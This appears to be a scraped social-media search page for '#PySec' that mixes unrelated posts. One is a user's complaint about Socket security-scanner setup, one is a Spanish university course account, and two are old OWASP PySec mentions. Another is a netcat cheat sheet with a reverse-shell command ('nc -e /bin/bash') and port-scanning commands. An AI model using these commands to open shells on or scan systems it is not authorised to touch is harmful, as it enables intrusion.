Help me out here. I saw the ShaiHalud posts, had another SMH moment for not clearing the garbage out, a simple pip list is 353 lines, and omfg, a pip-audit printed out
pip 26.1.1 PYSEC-2026-196 26.1.2
and the wazuh server running on my system still blissfully showing all zeroes on the dashboard, so I thought I'd check out your socketsecurity stuff.
Now I don't really hold this against you, but just putting myself in the luser's seat, maybe the set up could be a little more user-friendly.
Poor grokadoodle doesn't know its digital butt from a Cheerio, first it tells me run "socketsecurity scan", then , oh, ooops, no it's socketcli scan... no, that's not it either. Go get an API key. Eeesh, ok, even free has a price, and our Great Seeker of Truth doesn't look very hard.
So I got it running and did a scan no-options with socketcli and the dashboard finally tells me ooops, 979 hits, out of free allotment. Ok, true, you get what you you pay for, but wazuh over there is happy as a clam looking at the same system. It's mostly maven and npm stuff listed. I wonder about that, because I installed Java right from Oracle the last time I updated anything Java like, I don't do GUI stuff for the most part unless I have to, write in plain HTML when I do and use the w3 school's CSS lib. Yet here's a zillion npm vulnerabilities. Too much crap is able to sneak onto a system nowadays.
I'm not running a lab or anything, just my development system / PC so paying hundreds for comprehensive security, well, might be different if I was working, producing product, but I'm just a broke retired guy trying to sync up with the AI craze, so I'm reluctant to do the what's in your wallet,
I'm not entirely sure how badly I need it, but Socket is demonstrably finding things that my wazuh setup doesn't. Kinda scary, because when I first got wazuh going, I had pages of vulnerabilities, took some three days to chase them down and get rid of them, your list is a good bit longer.
2
1,842
#Pysec
Netcat's Mastery: A Hacker's Swiss Army Knife 🔪
📖 Connection and Scanning:
nc [IP] [port] — connect to the host.
nc -lnvp 4444 — listen for incoming connections.
nc -z [IP] 20-100 — quickly scan ports.
nc -u [IP] [port] — work over UDP.
File Transfer:
nc -l -p 4444 > file.txt — receive the file.
nc [IP] 4444 < file.txt — send the file.
Reverse Shell:
nc -e /bin/bash [IP] 4444 — send a shell.
nc -lnvp 4444 — catch a shell on your side.
Debugging:
nc -vz [IP] 443 — check if the port is open.
echo "GET /" | nc site.com 80 — manual HTTP request.
Flags:
-n — do not resolve DNS.
-v — detailed output.
-w 3 — timeout of 3 seconds.
-k — do not close after disconnection.
Fact: Netcat was written in 1995 by the hacker Hobbit. It's so versatile that it's called the "TCP/IP Swiss Army Knife".
😈 CodeGuard: PySec Edition | Chat
2
327
¡Bienvenid@ a la cuenta de la asignatura de Políticas y Sistemas Educativos Comparados #PySEC del Máster de Gestión y Dirección de Centros Educativos de
@UDIMA
Aquí tuitearemos asuntos de interés para los estudiantes y todo aquel interesado en #politicaeducativa.
#PySECUDIMA
3
13 Sep 2017
Greg, there's RATS: code.google.com/archive/p/ro…, works with a few languages. OWASP had a pysec project too, not sure the status
1
19 Nov 2015
Terrifying Python sec pres by Enrico Branca tonight Thx @securitycompass 4 hosting & OWASP PySec 4 herculean efforts github.com/ebranca/owasp-pys…
1